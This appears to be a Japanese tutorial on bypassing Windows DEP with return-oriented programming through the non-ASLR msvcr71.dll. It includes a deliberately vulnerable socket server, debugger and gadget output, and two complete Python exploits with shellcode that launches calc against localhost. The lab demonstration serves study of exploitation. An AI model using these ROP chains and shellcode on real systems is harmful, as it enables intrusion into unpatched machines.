Windowsでnon-ASLR DLLを利用したROPによるDEP回避をやってみる

「WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる」では、実行ファイル中でVitrualProtect関数が使われていることを前提にROPを行った。 ここでは、ASLRが無効な古いシステムDLLを利用することにより、VirtualProtect関数を呼び出してみる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4、msvcr71.dllインストール済

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86

>cdb -version
cdb version 6.3.9600.17298

>powershell -c "(dir C:\Windows\SysWOW64\msvcr71.dll).VersionInfo.FileVersion"
7.10.3052.4

ASLRが無効なDLLについて調べてみる

ASLRが無効なDLLとしては、Java 6 Runtime(JRE 1.6)などを経由してインストールされるMSVCR71.DLLと、Office 2007/2010に付属するHXDS.DLLの二つが広く知られている。 そこで、MSVCR71.DLLがインストールされていることを前提とし、これを読み込むプログラムコードを書いてみる。

/* test.c */
#define WIN32_LEAN_AND_MEAN

#include <windows.h>

int main(int argc, char *argv[])
{
    HMODULE hmod;
    char buf[100];
    hmod = LoadLibrary("MSVCR71");
    read(0, buf, sizeof(buf));
    return 0;
}

コンパイルし、デバッガのもとでPEヘッダ情報とImport Address Tableを調べてみる。

>cl test.c

>cdb test.exe
(snip)
(834.14ac): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=32b70000 edx=00000000 esi=7e2fe000 edi=00000000
eip=77d83bed esp=0040f34c ebp=0040f378 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
77d83bed cc              int     3
0:000> g
ModLoad: 7c340000 7c396000   C:\WINDOWS\SysWOW64\MSVCR71.DLL
[Ctrl+C]
eax=00000000 ebx=77dcf820 ecx=00000000 edx=00000000 esi=00000000 edi=005f896c
eip=77d0c73c esp=0040f654 ebp=0040f724 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!NtTerminateProcess+0xc:
77d0c73c c20800          ret     8
0:000> !dh 7c340000 -f
(snip)
7c340000 image base
(snip)
   3A000 [     26C] address [size] of Import Address Table Directory
(snip)

0:000> dps 7c340000+3A000 7c340000+3A000+26c
(snip)
7c37a094  767c8b90 KERNEL32!VirtualAllocStub
(snip)
7c37a140  767c8ab0 KERNEL32!VirtualProtectStub
(snip)
0:000> q
quit:

上の結果から、MSVCR71.dllは常に0x7c340000にロードされることがわかる。 また、Import Address Table内の0x7c37a140にVirtualProtect関数へのポインタが配置されることがわかる。

脆弱性のあるプログラムを書いてみる

「Windowsで単純なスタックバッファオーバーフロー攻撃をやってみる」と同様に、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書いてみる。

/* bof.c */
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void bof(SOCKET c)
{
    char buf[400];
    printf("[+] buf = %p\n", buf);
    recv(c, buf, 1024, 0);
}

int main()
{
    WSADATA wsaData;
    SOCKET s, c;
    SOCKADDR_IN name;
    BOOL yes = 1;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));

    name.sin_family = AF_INET;
    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(4444);

    bind(s, (SOCKADDR *)&name, sizeof(name));
    listen(s, 5);
    puts("[+] listening on 0.0.0.0 port 4444");

    c = accept(s, NULL, NULL);
    closesocket(s);
    puts("[+] connection accepted");

    bof(c);

    closesocket(c);

    ExitProcess(0);
}

上のコードでは、プログラム中にてVirtualProtect関数が使われていないことに留意する。

ASLRstack canary(/GS)を無効にし、DEPが有効となる設定でコンパイルする。

>cl bof.c /GS- /link /dynamicbase:no

生成されたbof.exeを実行し、待ち受けているポートに接続すると次のようになる。

$ nc localhost 4444
foo
>bof.exe
[+] listening on 0.0.0.0 port 4444
[+] connection accepted
[+] buf = 0018FBF0

正常に実行できていることが確認できる。

Import Address Tableを調べてみる

MSVCR71.dllを動的にロードするには、LoadLibrary系の関数を呼び出す必要がある。 そこで、デバッガから上のプログラムを実行し、Import Address Tableの内容を調べてみる。

>cdb bof.exe
(snip)
(1340.46c): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=a4790000 edx=00000000 esi=7ffde000 edi=00000000
eip=77d83bed esp=0018faec ebp=0018fb18 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
77d83bed cc              int     3
0:000> !dh 00400000 -f
(snip)
00400000 image base
(snip)
    D000 [     11C] address [size] of Import Address Table Directory
0:000> dps 00400000+d000 00400000+d000+11c
(snip)
0040d0cc  767ca720 KERNEL32!LoadLibraryExWStub
(snip)

上の結果より、0x0040d0ccにLoadLibraryExW関数へのポインタが配置されることがわかる。

さらに、LoadLibraryExW関数の内容について調べてみると次のようになる。

0:000> u kernel32!LoadLibraryExWStub
KERNEL32!LoadLibraryExWStub:
767ca720 8bff            mov     edi,edi
767ca722 55              push    ebp
767ca723 8bec            mov     ebp,esp
767ca725 5d              pop     ebp
767ca726 ff2510058376    jmp     dword ptr [KERNEL32!_imp__LoadLibraryExW (76830
510)]
767ca72c cc              int     3
767ca72d cc              int     3
767ca72e cc              int     3
0:000> u poi(kernel32!_imp__LoadLibraryExW)
KERNELBASE!LoadLibraryExW:
77ae30b0 8bff            mov     edi,edi
77ae30b2 55              push    ebp
77ae30b3 8bec            mov     ebp,esp
77ae30b5 83e4f8          and     esp,0FFFFFFF8h
77ae30b8 83ec1c          sub     esp,1Ch
77ae30bb 837d0800        cmp     dword ptr [ebp+8],0
77ae30bf 53              push    ebx
77ae30c0 56              push    esi
0:000> u
0:000> u
0:000> u
0:000> u
0:000> u
0:000> u
0:000> u
0:000> u
KERNELBASE!LoadLibraryExW+0xe4:
77ae318a c20c00          ret     0Ch
77ae318d 90              nop
77ae318e 90              nop
77ae318f 90              nop
77ae3190 90              nop
77ae3191 90              nop
77ae3192 90              nop
77ae3193 90              nop
0:000> q
quit:

上の結果においてret 0Chとなっていることから、LoadLibraryExW関数からリターンする際はスタックポインタが3ワード分進められることがわかる。 LoadLibraryExW関数の引数は3個であり、この数はスタックに積まれる引数の個数に対応している。

ROP gadgetを探してみる

「WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる」と同様に、rp++を使い必要なROP gadgetを探してみる。

$ ./rp-win-x64.exe --file=bof.exe --rop=1 --unique > gadgets.txt

$ grep ": jmp" gadgets.txt
0x004022b7: jmp dword [eax] ;  (3 found)
0x0040b56d: jmp dword [ebx] ;  (2 found)
0x004056c1: jmp dword [ecx] ;  (2 found)

$ grep ": pop" gadgets.txt
0x00401037: pop ebp ; ret  ;  (191 found)
0x004054be: pop ebx ; ret  ;  (3 found)
0x004011e2: pop ecx ; ret  ;  (30 found)
0x00404129: pop edi ; ret  ;  (19 found)
0x00401654: pop esi ; ret  ;  (17 found)
0x00408004: pop esp ; ret  ;  (1 found)

$ grep ": ret" gadgets.txt
0x00401038: ret  ;  (416 found)

上の結果より、pop ecxでecxにポインタのアドレスをセットした後jmp dword [ecx]を実行することで、ポインタが指す関数を呼び出せることがわかる。

エクスプロイトコードを書いてみる

以上の内容をもとに、MSVCR71.dllを読み込みVirtualProtect関数を実行するエクスプロイトコードを書くと次のようになる。

# exploit.py
import socket
import struct

addr_buf = 0x0018FBF0
addr_pop_ecx = 0x004011e2        # 0x004011e2: pop ecx ; ret  ;  (30 found)
addr_jmp_ptr_ecx = 0x004056c1    # 0x004056c1: jmp dword [ecx] ;  (2 found)
addr_ret = 0x00401038            # 0x00401038: ret  ;  (416 found)
iat_loadlibraryexw = 0x0040d0cc  # 0040d0cc  767ca720 KERNEL32!LoadLibraryExWStub
iat_virtualprotect = 0x7c37a140  # 7c37a140  767c8ab0 KERNEL32!VirtualProtectStub [MSVCR71.dll]
bufsize = 400

# WinExec("calc", SW_SHOWNORMAL); ExitProcess(0);
shellcode = '\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF'

def wchar(s):
    return ''.join(c+'\x00' for c in s)

buf = wchar('MSVCR71\x00')
buf += 'A' * (bufsize-len(buf))
buf += 'AAAA'                                   # saved ebp
buf += struct.pack('<I', addr_pop_ecx)          # retaddr
buf += struct.pack('<I', iat_loadlibraryexw)
buf += struct.pack('<I', addr_jmp_ptr_ecx)      # jump to LoadLibraryExW() -> ret 0Ch
buf += struct.pack('<I', addr_ret)
buf += struct.pack('<I', addr_buf)              # lpFileName
buf += struct.pack('<I', 0)                     # hFile
buf += struct.pack('<I', 0)                     # dwFlags
buf += struct.pack('<I', addr_pop_ecx)
buf += struct.pack('<I', iat_virtualprotect)
buf += struct.pack('<I', addr_jmp_ptr_ecx)      # jump to VirtualProtect()
buf += struct.pack('<I', addr_buf+bufsize+4*16)
buf += struct.pack('<I', addr_buf)              # lpAddress
buf += struct.pack('<I', 1024)                  # dwSize
buf += struct.pack('<I', 0x40)                  # flNewProtect = PAGE_EXECUTE_READWRITE
buf += struct.pack('<I', addr_buf)              # lpflOldProtect
buf += shellcode

c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()

上のコードの内容を簡単にまとめると次のようになる。

  • LoadLibraryExW(L("MSVCR71"), NULL, 0)を実行し、MSVCR71.dllを読み込む
  • MSVCR71.dll内にあるポインタを使い、VirtualProtect関数を呼び出す
  • シェルコードを実行する

LoadLibraryExW関数はsuffixのWが表すように引数としてワイド文字(UTF-16LE)の文字列リテラルを受け取るため、上のコードではwchar関数にてワイド文字を生成している。

bof.exeを起動し、エクスプロイトコードを実行してみる。

$ python exploit.py

シェルコードが実行され、電卓が起動することが確認できる。

Sayonara Universal ASLR + DEP bypass

上ではmsvcr71.dllのうちVirtualProtect関数へのポインタのみをROPに利用したが、msvcr71.dll内のgadgetだけを使ってROPシーケンスを構築することも可能である。 このように構築されたROPシーケンスとして、Sayonara ROP chainと呼ばれるものが知られている。 かつてJava 6プラグインがインストールされたWebブラウザでは、このROPシーケンスを実行することで無条件でシェルコードの実行が可能であった。

VirtualAlloc関数を使ってみる

実行可能メモリを確保する関数には、VirtualProtect関数のほかにVirtualAlloc関数がある。 VirtualAlloc関数は本来新たなメモリ領域を確保する関数であるが、flAllocationTypeMEM_COMMIT(0x1000)を指定することですでに確保されているメモリの実行属性のみを変更することが可能である。 また、VirtualProtect関数の場合書き込み可能なアドレスをlpflOldProtectに指定する必要があるが、VirtualAlloc関数ではその必要はない。

VirtualAlloc関数を利用するエクスプロイトコードを書くと次のようになる。

# exploit2.py
import socket
import struct

addr_buf = 0x0018FBF0
addr_pop_ecx = 0x004011e2        # 0x004011e2: pop ecx ; ret  ;  (30 found)
addr_jmp_ptr_ecx = 0x004056c1    # 0x004056c1: jmp dword [ecx] ;  (2 found)
addr_ret = 0x00401038            # 0x00401038: ret  ;  (416 found)
iat_loadlibraryexw = 0x0040d0cc  # 0040d0cc  767ca720 KERNEL32!LoadLibraryExWStub
iat_virtualalloc = 0x7c37a094    # 7c37a094  767c8b90 KERNEL32!VirtualAllocStub [MSVCR71.dll]
bufsize = 400

# WinExec("calc", SW_SHOWNORMAL); ExitProcess(0);
shellcode = '\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF'

def wchar(s):
    return ''.join(c+'\x00' for c in s)

buf = wchar('MSVCR71\x00')
buf += 'A' * (bufsize-len(buf))
buf += 'AAAA'                                   # saved ebp
buf += struct.pack('<I', addr_pop_ecx)          # retaddr
buf += struct.pack('<I', iat_loadlibraryexw)
buf += struct.pack('<I', addr_jmp_ptr_ecx)      # jump to LoadLibraryExW() -> ret 0Ch
buf += struct.pack('<I', addr_ret)
buf += struct.pack('<I', addr_buf)              # lpFileName
buf += struct.pack('<I', 0)                     # hFile
buf += struct.pack('<I', 0)                     # dwFlags
buf += struct.pack('<I', addr_pop_ecx)
buf += struct.pack('<I', iat_virtualalloc)
buf += struct.pack('<I', addr_jmp_ptr_ecx)      # jump to VirtualAlloc()
buf += struct.pack('<I', addr_buf+bufsize+4*16)
buf += struct.pack('<I', addr_buf)              # lpAddress
buf += struct.pack('<I', 1024)                  # dwSize
buf += struct.pack('<I', 0x1000)                # flAllocationType = MEM_COMMIT
buf += struct.pack('<I', 0x40)                  # flNewProtect = PAGE_EXECUTE_READWRITE
buf += shellcode

c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()

bof.exeを起動し、エクスプロイトコードを実行してみる。

$ python exploit2.py

VirtualProtect関数の場合と同じく、シェルコードが実行され、電卓が起動することが確認できる。

関連リンク